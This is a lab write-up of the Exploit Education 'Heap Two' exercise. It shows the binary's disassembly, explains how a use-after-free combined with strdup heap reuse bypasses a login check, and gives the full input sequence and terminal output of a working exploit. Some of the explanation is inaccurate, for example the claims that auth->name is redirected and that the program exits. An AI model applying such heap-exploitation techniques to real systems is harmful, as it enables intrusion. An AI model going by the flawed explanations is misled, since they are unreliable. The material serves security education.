If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup

Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise
  10. Format Two Writeup - Exploit Education Lab Exercise
  11. Format Three Writeup - Exploit Education Lab Exercise
  12. Format Four Writeup - Exploit Education Lab Exercise
  13. Heap Zero Writeup - Exploit Education Lab Exercise
  14. Heap One Writeup - Exploit Education Lab Exercise

Quick Overview

Similar to Heap One, Heap Two exercise motive is to leverage buffer overflow and perform UAF (User-After-Free Vulnerability) that technically allows to re-use the allocated memory in the heap to control the program flow. Similar to gets in Heap Zero, strdup function is unsafe that doesn’t have bounds check, it accepts memory address to copy but doesn’t care about overwriting other declared struct variable in the heap region.

Disassemble

Disassembling the code will get you overall idea behind the heap-two code, One can use gdb ./heap-two to start debugging it in runtime.

  1. gdb ./heap-two
  2. Type disassemble main to get the disassembled code (assembly)
   0x000000000040085d <+0>:     push   rbp
   0x000000000040085e <+1>:     mov    rbp,rsp
   0x0000000000400861 <+4>:     sub    rsp,0x90
   0x0000000000400868 <+11>:    mov    DWORD PTR [rbp-0x84],edi
   0x000000000040086e <+17>:    mov    QWORD PTR [rbp-0x90],rsi
   0x0000000000400875 <+24>:    mov    edi,0x400a40
   0x000000000040087a <+29>:    call   0x400670 <puts@plt>
   0x000000000040087f <+34>:    mov    rdx,QWORD PTR [rip+0x200592]        # 0x600e18 <service>
   0x0000000000400886 <+41>:    mov    rax,QWORD PTR [rip+0x200583]        # 0x600e10 <auth>
   0x000000000040088d <+48>:    mov    rsi,rax
   0x0000000000400890 <+51>:    mov    edi,0x400a89
   0x0000000000400895 <+56>:    mov    eax,0x0
   0x000000000040089a <+61>:    call   0x400650 <printf@plt>
   0x000000000040089f <+66>:    mov    rdx,QWORD PTR [rip+0x2004fa]        # 0x600da0 <stdin>
   0x00000000004008a6 <+73>:    lea    rax,[rbp-0x80]
   0x00000000004008aa <+77>:    mov    esi,0x80
   0x00000000004008af <+82>:    mov    rdi,rax
   0x00000000004008b2 <+85>:    call   0x400660 <fgets@plt>
   0x00000000004008b7 <+90>:    test   rax,rax
   0x00000000004008ba <+93>:    je     0x4009e1 <main+388>
   0x00000000004008c0 <+99>:    lea    rax,[rbp-0x80]
   0x00000000004008c4 <+103>:   mov    edx,0x5
   0x00000000004008c9 <+108>:   mov    esi,0x400aa6
   0x00000000004008ce <+113>:   mov    rdi,rax
   0x00000000004008d1 <+116>:   call   0x400690 <strncmp@plt>
   0x00000000004008d6 <+121>:   test   eax,eax
   0x00000000004008d8 <+123>:   jne    0x400934 <main+215>
   0x00000000004008da <+125>:   mov    edi,0x24
   0x00000000004008df <+130>:   call   0x400680 <malloc@plt>
   0x00000000004008e4 <+135>:   mov    QWORD PTR [rip+0x200525],rax        # 0x600e10 <auth>
   0x00000000004008eb <+142>:   mov    rax,QWORD PTR [rip+0x20051e]        # 0x600e10 <auth>
   0x00000000004008f2 <+149>:   mov    edx,0x24
   0x00000000004008f7 <+154>:   mov    esi,0x0
   0x00000000004008fc <+159>:   mov    rdi,rax
   0x00000000004008ff <+162>:   call   0x4006b0 <memset@plt>
   0x0000000000400904 <+167>:   lea    rax,[rbp-0x80]
   0x0000000000400908 <+171>:   add    rax,0x5
   0x000000000040090c <+175>:   mov    rdi,rax
   0x000000000040090f <+178>:   call   0x4006d0 <strlen@plt>
   0x0000000000400914 <+183>:   cmp    rax,0x1e
   0x0000000000400918 <+187>:   ja     0x400934 <main+215>
   0x000000000040091a <+189>:   lea    rax,[rbp-0x80]
   0x000000000040091e <+193>:   add    rax,0x5
   0x0000000000400922 <+197>:   mov    rdx,QWORD PTR [rip+0x2004e7]        # 0x600e10 <auth>
   0x0000000000400929 <+204>:   mov    rsi,rax
   0x000000000040092c <+207>:   mov    rdi,rdx
   0x000000000040092f <+210>:   call   0x400640 <strcpy@plt>
   0x0000000000400934 <+215>:   lea    rax,[rbp-0x80]
   0x0000000000400938 <+219>:   mov    edx,0x5
   0x000000000040093d <+224>:   mov    esi,0x400aac
   0x0000000000400942 <+229>:   mov    rdi,rax
   0x0000000000400945 <+232>:   call   0x400690 <strncmp@plt>
   0x000000000040094a <+237>:   test   eax,eax
   0x000000000040094c <+239>:   jne    0x40095d <main+256>
   0x000000000040094e <+241>:   mov    rax,QWORD PTR [rip+0x2004bb]        # 0x600e10 <auth>
   0x0000000000400955 <+248>:   mov    rdi,rax
   0x0000000000400958 <+251>:   call   0x4006e0 <free@plt>
   0x000000000040095d <+256>:   lea    rax,[rbp-0x80]
   0x0000000000400961 <+260>:   mov    edx,0x6
   0x0000000000400966 <+265>:   mov    esi,0x400ab2
   0x000000000040096b <+270>:   mov    rdi,rax
   0x000000000040096e <+273>:   call   0x400690 <strncmp@plt>
   0x0000000000400973 <+278>:   test   eax,eax
   0x0000000000400975 <+280>:   jne    0x40098e <main+305>
   0x0000000000400977 <+282>:   lea    rax,[rbp-0x80]
   0x000000000040097b <+286>:   add    rax,0x7
   0x000000000040097f <+290>:   mov    rdi,rax
   0x0000000000400982 <+293>:   call   0x4006a0 <strdup@plt>
   0x0000000000400987 <+298>:   mov    QWORD PTR [rip+0x20048a],rax        # 0x600e18 <service>
   0x000000000040098e <+305>:   lea    rax,[rbp-0x80]
   0x0000000000400992 <+309>:   mov    edx,0x5
   0x0000000000400997 <+314>:   mov    esi,0x400aba
   0x000000000040099c <+319>:   mov    rdi,rax
   0x000000000040099f <+322>:   call   0x400690 <strncmp@plt>
   0x00000000004009a4 <+327>:   test   eax,eax
   0x00000000004009a6 <+329>:   jne    0x40087f <main+34>
   0x00000000004009ac <+335>:   mov    rax,QWORD PTR [rip+0x20045d]        # 0x600e10 <auth>
   0x00000000004009b3 <+342>:   test   rax,rax
   0x00000000004009b6 <+345>:   je     0x4009d2 <main+373>
   0x00000000004009b8 <+347>:   mov    rax,QWORD PTR [rip+0x200451]        # 0x600e10 <auth>
   0x00000000004009bf <+354>:   mov    eax,DWORD PTR [rax+0x20]
   0x00000000004009c2 <+357>:   test   eax,eax
   0x00000000004009c4 <+359>:   je     0x4009d2 <main+373>
   0x00000000004009c6 <+361>:   mov    edi,0x400ac0
   0x00000000004009cb <+366>:   call   0x400670 <puts@plt>
   0x00000000004009d0 <+371>:   jmp    0x4009dc <main+383>
   0x00000000004009d2 <+373>:   mov    edi,0x400adc
   0x00000000004009d7 <+378>:   call   0x400670 <puts@plt>
   0x00000000004009dc <+383>:   jmp    0x40087f <main+34>
   0x00000000004009e1 <+388>:   nop
   0x00000000004009e2 <+389>:   mov    eax,0x0
   0x00000000004009e7 <+394>:   leave
   0x00000000004009e8 <+395>:   ret

Before taking a look at the code, if you disassembled the heap-two using gdb to view the assembly instruction, you may notice the puts, strdup, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  • The program initializes auth and service to null pointers.
  • The program prints out a banner message using printf.
  • The program enters a while loop that runs continuously until the user stops the program.
  • Within the loop, the program prints out the current values of auth and service using printf.
  • The program reads a line of input from the user using fgets.
  • The program checks if the input string starts with the string “auth “.
    • If it does, the program allocates memory for a new auth struct using malloc, initializes it with zeros using memset, and stores the user’s name in the name field of the auth struct using strcpy.
    • The program checks if the input string starts with the string “reset”.
    • If it does, the program frees the memory allocated for the auth struct using free.
  • The program checks if the input string starts with the string “service”.
    • If it does, the program allocates memory for a new char array using strdup and stores the service name in it.
    • The program checks if the input string starts with the string “login”.
    • If it does and auth is not null and auth->auth is true, the program prints out a message saying that the user has already logged in.
    • If it does and auth is null or auth->auth is false, the program prints out a message asking the user to enter their password.
  • The program repeats steps 4-9 until the user stops the program by closing the command-line interface.

Primary Goal

This is a fairly simple challenge and primary goal is to leverage buffer overflow and overwrite the auth->auth variable to 1. Additionally, use Use-After-Free to force the program to re-allocate the memory for the auth struct and overwrite the auth->name pointer to point to the service buffer. This will allow us to overwrite the auth->auth variable without having to enter a password.

Memory Allocation

Buffer Overflow

The service buffer is allocated on the heap using strdup. The strdup function is similar to the strcpy function, except that it allocates memory for the destination string using malloc. So, you could use service <OVERFLOW_BUFFER_STRING> to overflow the service buffer.

Use-After-Free

If you take closer look at the lifecycle of the program (infinite while loop), you could potentially call free(auth) and login could use the same auth object to make the login decision. So, if you could overwrite the auth->auth variable to 1, you could potentially login without entering the password. The free method doesn’t actually free the memory, it just marks the memory as free and the content remains the same.

Exploit Strategy,

  1. Allocate memory for auth struct using auth test
  2. Free the memory using reset
    • This will mark the memory as free, but the content remains the same.
  3. Allocate memory for service buffer using service <OVERFLOW_BUFFER_STRING>
    • Since strdup dynamically allocates buffer in runtime to copy the characters, when the malloc request memory, it will allocate the memory in the same address as the auth struct.
    • So, the auth->name pointer will point to the service buffer.
    • You could calculate the size of auth object roughly 32 Bytes char + 4 Bytes Int which is helpful to come up with the overflow string.
  4. Login using login
    • Since the auth->auth variable is set to 1, the program will print the message you have logged in already! and the program will exit.

Exploit

So, the final exploit would be as follows,

user@phoenix-amd64:/opt/phoenix/amd64$ ./heap-two
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth test
[ auth = 0x600e40, service = 0 ]
reset
[ auth = 0x600e40, service = 0 ]
serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
[ auth = 0x600e40, service = 0x600e40 ]  --> auth->name pointer points to service buffer
login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform code execution in the system. 🪲

buffer-overflow-meme

Source and Reference:

  1. Heap Two Exercise: Exploit Education
  2. Use-After-Free: Wiki

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox